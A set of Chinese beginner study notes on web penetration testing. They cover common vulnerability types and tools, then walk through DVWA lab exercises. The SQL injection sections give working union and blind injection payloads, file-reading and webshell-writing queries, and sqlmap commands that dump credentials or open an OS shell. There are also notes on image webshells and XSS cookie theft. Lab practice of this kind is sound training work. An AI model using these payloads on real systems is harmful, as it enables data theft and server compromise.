web渗透初学笔记


web基础知识

前端漏洞:钓鱼、暗链、xss、点击劫持、csrf、url跳转
后端漏洞:sql注入、命令注入、文件上传、文件包含、暴力破解

 

例子

报文

 

熟悉状态码

 

目前流行的网站架构

 

搭建phpstudy集成软件

 

在PHPstudy的mySQL中操作SQL语法

创建数据库  CREATE DATABASE my_db;

查看数据库 SHOW databases;

切换数据库 USE my_db;

删除数据库 DROP DATABASE my_db;

TIPS:分号作为语句的结束,程序中会自动补充

 

 

 

web安全基础

常见的安全事件

篡改网页

搜索引擎语法Site:domain(在某个域名或子域名下的网页)+Intitle:keyword(正文中含有关键词的网页)/Intitle:keyword(标题中含有关键词的网页)

exa:keyword为hacked by:时往往能查到自己管理域名下被黑的网站

——————————————————————————————————————————————————————

暗链

优化在搜索引擎里的排名

不是为人准备,是为搜索引擎中的爬虫准备的。

——————————————————————————————————————————————————————

webshell

获得管理权限后->上传webshell=(小/大)马=后门

——————————————————————————————————————————————————————

常见web漏洞

XSS  Who stole my keys

概念:黑客通过”html注入”篡改网页,插入了恶意脚本(即xss脚本),当用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。

危害:盗取用户信息/钓鱼/制造蠕虫等

三种类型 :存储型/反射型/DOM型

存储型:攻击代码位置:数据库;输出:HTTP响应

反射型:攻击代码位置:url        ;输出:HTTP响应。

DOM型:攻击代码位置:url       ;输出:DOM节点。

 

——存储型演示——

左管理端/右访问端

上传xss脚本

结果

—–反射型演示——

——DOM型演示——

不能通过查看源代码的方式找到xss脚本的位置,通过firebug可以。

在源码中输入hash

总结

——————————————————————————————————————————————————————

CSRF     who moved my cheese

概念:利用用户已登陆的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。

危害:执行恶意操作(被转账/被发垃圾评论等)/制造蠕虫等

黑客构造的恶意网页

——————————————————————————————————————————————————————

点击劫持

概念:通过覆盖不可见的框架误导受害者点击而造成的攻击行为。利用iframe或者其他标签的属性。

效果

——————————————————————————————————————————————————————

URL跳转

概念

header头跳转

js跳转

meta标签实现跳转

——————————————————————————————————————————————————————

SQL

原理:数据和代码未分离,即数据当成了代码来执行

 

 

一次SQL注入的过程

 

SQL注入的必备条件

1.可以控制输入的数据

2.服务器要执行的代码拼接了控制的数据

 

危害:获取数据库信息

                管理员后台用户名和密码

                获取其他数据库敏感信息:用户名/密码/手机号码/身份证/银行卡信息…

                整个数据库:脱裤

        获取服务器权限

                植入webshell,获取服务器后门

                读取服务器敏感文件

                万能密码

——————————————————————————————————————————————————————            

命令注入

step:

1.调用可执行系统命令的函数

2.函数或函数参数可控(条件

3.拼接注入命令

 

& 拼接符,一次执行拼接的命令

| 管道符,前面命令的输出作为后面命令的输入

 

PHP执行命令的函数

system/exec/shell_exec/eval……

 

一个函数或函数参数都不可控的例子

命令执行的结果跟DOS环境中一样

 

一个参数可控的例子

拼接过程。注:&符号需转义为%26

——————————————————————————————————————————————————————

文件操作漏洞

文件上传漏洞

1.可以上传可执行脚本

2.脚本拥有执行权限

任意文件下载漏洞

1.未验证下载文件格式

2.未限制请求的路径

文件包含漏洞

本地文件包含

远程文件包含

重要的两个参数:allow_url_fopen = On(是否允许打开远程文件);allow_url_include = On(是否允许包含远程文件);

 

web安全工具

代理抓包分析工具

web漏洞扫描工具初级

在线工具 

 

传统web站点渗透测试基本步骤

——————————————————————————————————————————————————————

比较流行的代理抓包工具

Burpsuite/charles/fiddler

浏览器插件

Advanced Cookie Manager/Firebug/HackBar/Proxy Switcher

Firebug:网络与审查页面元素

Hackbar:构造数据包

Cookie Manager:修改Cookie值

——————————————————————————————————————————————————————

敏感文件探测

部署python环境

敏感文件:敏感文件对于网站来说,就像是网站(网站管理员)的秘密日记,这些文件没有被保护好被访问者发现了,就有可能暴露站点的脆弱性或保密数据。

常见的”敏感文件“类型:

网站管理后台(login.xx)/数据文件(.sql)/备份文件(.tar.gz)/webshell(.php?)/

常用软件:御剑/add:用py自写字典生成器

tips:判断站点脚本类型asp/php/aspx/jsp

        1.判断网站下index.xxx(xxx为asp/php等)类型是否存在

——————————————————————————————————————————————————————

漏扫工具

AWVS/Netsparker/AppScan

风险

  1. 对目标站点的误伤(高流量,请求了危险功能(如删除数据库)…)
  2. 漏扫的盲区:逻辑漏洞 

——————————————————————————————————————————————————————

SQL注入漏洞

sqlmap获取

发现和利用sql注入漏洞基本流程

1.找到有数据库交互的功能页面(如:xxx/artist.php?artist=1    问号+参数)
2.判断页面是否存在sql注入(artist=1'  报错存在注入)
3.利用sql注入漏洞读取数据

进行注入尝试:GET/POST

sqlmap中level和risk参数的作用

 

 

 

实战

DVWA环境的部署

1.下载DVWA到www目录下
2.config文件下config.inc.php文件中的$_DVWA[ 'db_password' ]项改为自己mysql的密码
3.访问localhost/dvwa路径/setup.php检测环境是否配置好
4.访问localhost/dvwa路径/login.php     登陆名默认为admin/密码默认为password

===============================================================================================

  • 1.暴力破解

辅助工具owasp zap(官网www.owasp.org)

===============================================================================================

  • 2.命令注入

命令拼接符

A&B 简单拼接,AB无制约
A&&B A执行成功,接着才能执行B
A|B A的输出作为B的输入
A||B A执行失败才会执行B

技巧:不显示输出结果…

ADD:DNS查询

===============================================================================================

  • 3.CSRF

==============low============

HH-Tamperdata抓包  ->  Replay in browser ->  改包  ->构造js/html(包装url)

==============medium============

HH-Tamperdata抓包  ->  Replay in browser ->  改包  ->构造html(Tamper Popup:改变referer)

==============high============

===============================================================================================

  • 4.文件包含

==============low============

本地文件执行

远程文件执行

dvwa的host,远程执行文件成功

 

==============medium============

本地文件执行

远程文件执行

dvwa的host,远程执行文件成功

 

==============high============

本地文件执行

远程文件执行

phpinfo.txt内容

dvwa的host,远程执行文件成功

 

===============================================================================================

  • 5.文件上传

==============low============

cmd.php文件内容

 

 

 

==============medium============

step1.proxy switcher&zap设置代理开启

step2.两次抓包结果对比(right/wrong;zap)

step3.不断用成功上传包的内容替换失败的位置,进行重放,然后看响应包的结果;确定文件类型被服务端限制

step4修改文件类型->发送修改后的包->后续操作与low等级一样

 

==============high============

制作”内涵图”

cmd:copy R.jpg/b + W.txt/a 2.jpg

W.txt内容

除了借助文件包含漏洞,还可借助web容器解析漏洞

如:nginx解析漏洞

phpstudy切换->确认变量cgi.fix_pathinfo=1

畸形解析

xxx/xxx.php只要前一个文件存在,就会当成后面php文件的解析

 

==============impossible============

文件重命名/文件压缩重生成/存储目录执行权限/存储目录与web分离

 

===============================================================================================

  • 6.SQL回显注入

需检测到id参数sql注入

http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#

如果存在注入,则会报错并且把错误的信息展示出来

You have an error in your SQL…

 

三种注入POC;判断闭合方式

…where user_id = $id     =》     …where user_id = 1 or 1024=1024

…where user_id =’ $id’     =》     …where user_id = ‘1′ or ‘1024’=’1024′

…where user_id = ”$id”     =》     …where user_id = ”1” or ”1024”=”1024”

sql注入中通常需要闭合,如果yu’j语句比较复杂,则使用sql注释符闭合

#     –空格      /**/

#:与url中的#区分,常编码成%23

 

查询之前需要确定查询字段数

1′ order by 25—     =》     ?id=1’+order+by+25–+

再利用二分法查找

 

==============low============

——获取数据库的敏感信息——

确定回显点

?id=xx’+union+select+1,2–+

查询数据库版本/目录)

?id=xx’+union+select+@@version,@@datadir–+

查询用户名/数据库名(查到数据库dvwa)

?id=xx’+union+select+user(),database()–+

查询表名(查到表users)

?id=xx’+union+select+1,table_name+from+information_schema.tables+where+table_schema=’dvwa–+

查询列名

?id=xx’+union+select+1,column_name+from+information_schema.columns+where+table_name=’users–+

查询用户名/密码

?id=xx’+union+select+user,password+from+users–+

 

——获取系统的敏感信息——

文件读取

?id=xx’+union+select+1,load_file(“c:\\windows\\win.ini”)–+

 

——控制服务器——

写入webshell

php一句话木马

 

前提:需知写入的地方,即木马放置的物理路径

套路:引发异常,暴出物理路径

1.构造错误的sql语句

?id=xx’+union+select+“xx”,”xx”+into+outfile+”xx”–+

2.成功获取web目录

D:\phpstudy\www\DVWA-1.9\vulnerabilities\sqli\source\low.php

3.写入webshell

?id=xx’+union+select+”,”webshell“+into+outfile+’DVWA-1.9\\cmd.php’–+

4.访问,成功写入

5.成功读取

 

sqlmap了解一下?

登陆状态下

攻击参数

sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#” -p “id” –cookie “cookie参数” 

查询用户和数据库

qlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#” -p “id” –cookie “cookie参数”  –current-user –current-db

查询表

sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#” -p “id” –cookie “cookie参数”  -D dvwa –tables

查询列名

sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#” -p “id” –cookie “cookie参数” -D dvwa -T user –columns

sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#” -p “id” –cookie “cookie参数” -D dvwa -T user -C “user,password” –dump

 

上传webshell

sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#” -p “id” –cookie “cookie参数” -D dvwa -T user -C “user,password” –os-shell

 

============medium============

Tamper Data改包

单引号转义:   利用hackbar上把数据库名(dvxa)HEX编码0x64767761   =》 重新发包

sqlmap自动

多了一个–data

sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ –data “id=1 &Submit#” -p “id” –cookie “cookie参数” 

==============high============

手工相似

sqlmap需要一些技巧

多了–data–second-order

sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/session-input.php(跳转后的页面) –data “id=1 &Submit#” -p “id” –cookie “cookie参数”  –second-order “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/(原页面)

 

===============================================================================================

  • 7.SQL盲注

数据库的执行结果不会直接显示在页面上,页面的结果只会显示两种状态

 

三种注入POC;判断闭合方式

…where user_id = $id     =》     …where user_id = 1 and 1024=1025

…where user_id =’ $id’     =》     …where user_id = ‘1′ and ‘1024’=’1025′

…where user_id = ”$id”     =》     …where user_id = ”1” and ”1024”=”1025”

 

先猜解长度

1′ and length(database()) >25 —     =》     ?id=1’+and+length(database()) >25+–+       利用二分法查找

再猜解字符

利用函数substr(expression,start,length)获取定义内的字符/子字符串   expresstion:原始字符串,start:子串开始位置,length子串长度

利用函数ascii(string)获取第一个字符的ascii数值

?id=1’+and+ascii(substr(database(),1,1))>64+–+        二分法对每一个字符进行比对查找

SQL盲注分:布尔型(以上这类)/延时型(以下这类)

函数if(A,1,0) A为真返回1,为假返回0

?id=1’+and+sleep(if(length(database())=5,5,0))–+

注:此外除了真假/延时,还有benchmark(count,expr)函数可利用

 

sqlmap

==============low============

同回显注入一样

==============medium============

一样

==============high============

失效

Firebug分析:id写到了cookie中再提交

sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli_blind/ -p “id” –cookie “cookie参数” –lever 2

注:lever>=2

==============impossible============

检测了id数据类型,使用了预编译绑定id变量;

 

===============================================================================================

 

  • 8.xss

客户端代码注入,通常注入代码是js脚本

能弹窗,就说明存在xss

————————————————–反射型———————————————————–

==============low============

建立一个cookie.php文件,放入数据库根目录下(localhost/)

插入弹窗脚本


弹窗,说面存在xss

替换成远程盗取cookie的语句

进行URL编码后即可在本地服务器指定位置(localhost/)下得到(hacked)用户的cookie

跳转到登陆页面,更换cookie,直接访问首页(login.php  ->  index.php)

==============medium============

tip:大小写混合